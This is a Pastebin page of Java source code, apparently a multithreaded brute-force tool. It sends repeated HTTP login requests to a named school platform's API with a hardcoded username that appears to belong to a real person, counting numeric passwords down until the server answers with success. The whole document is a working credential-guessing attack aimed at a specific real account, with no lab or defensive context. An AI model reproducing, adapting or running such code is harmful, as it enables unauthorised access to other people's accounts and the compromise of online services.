Advertisement
Guest User

Untitled

a guest
Feb 29th, 2016
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.90 KB | None | 0 0
  1. package brutforce;
  2.  
  3. import java.io.BufferedReader;
  4. import java.io.InputStreamReader;
  5. import java.net.URL;
  6. import java.net.URLConnection;
  7.  
  8. public class BruteforcePw {
  9. private int anzahlThreads = 30;
  10. private String name = "lukas.spreer";
  11. private int tPw = 31200;
  12. public boolean pwFound;
  13. public boolean[] fertigeThreads = new boolean[anzahlThreads];
  14. Thread[] allThreads = new Thread[anzahlThreads];
  15. public void send() {
  16. pwFound = false;
  17. for(int i = 0; i < anzahlThreads; i++){
  18. fertigeThreads[i] = true;
  19. }
  20.  
  21.  
  22. try {
  23. do {
  24. int threadNummer = 0;
  25. for (boolean threadFertig : fertigeThreads) {
  26. if (threadFertig) {
  27. allThreads[threadNummer] = new BruteForceThread(tPw, name, threadNummer, this);
  28. allThreads[threadNummer].start();
  29. fertigeThreads[threadNummer] = false;
  30. tPw--;
  31. }
  32. threadNummer++;
  33.  
  34.  
  35. }
  36. Thread.sleep(100);
  37. } while (!(pwFound));
  38. System.out.println("Success");
  39. } catch (Exception e) {
  40. e.printStackTrace();
  41. }
  42.  
  43. }
  44.  
  45. public static void main(String[] args) {
  46. BruteforcePw mainController = new BruteforcePw();
  47. mainController.send();
  48. }
  49.  
  50. private class BruteForceThread extends Thread {
  51.  
  52. private BruteforcePw mainController;
  53. private int tPw, threadNummer;
  54. private String name;
  55. private String response;
  56.  
  57. BruteForceThread(int tPw, String name, int threadNummer, BruteforcePw o) {
  58. super();
  59. this.mainController = o;
  60. this.tPw = tPw;
  61. this.name = name;
  62. this.threadNummer = threadNummer;
  63. }
  64.  
  65. @Override
  66. public void run() {
  67. boolean success;
  68. do {
  69. try {
  70. URL url = new URL(
  71. "http://www.cfg.it-garlisch.de/KGS/api/1.0.0/live/login.php?username=" + name + "&password=" + tPw + "&version=1.0.0");// http://www.cfg.it-garlisch.de/KGS/api/1.0.0/live/login.php?username="
  72. // +
  73. // name
  74. // + "&password=" + tPw + "&version=1.0.0
  75. URLConnection conn = url.openConnection();
  76.  
  77. BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
  78. String line;
  79. while ((line = br.readLine()).equals("")) {
  80. System.out.print("");
  81. }
  82. this.response = "" + line.charAt(12);
  83. System.out.println(name + " " + tPw + "\n" + response);
  84. br.close();
  85. success = true;
  86. } catch (Exception e) {
  87. success = false;
  88. System.out.println("Error while " + name + " " + tPw);
  89. }
  90. } while (!success);
  91. if (response.equals("1")) {
  92. mainController.pwFound = true;
  93. }
  94. mainController.fertigeThreads[threadNummer] = true;
  95. }
  96. }
  97. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement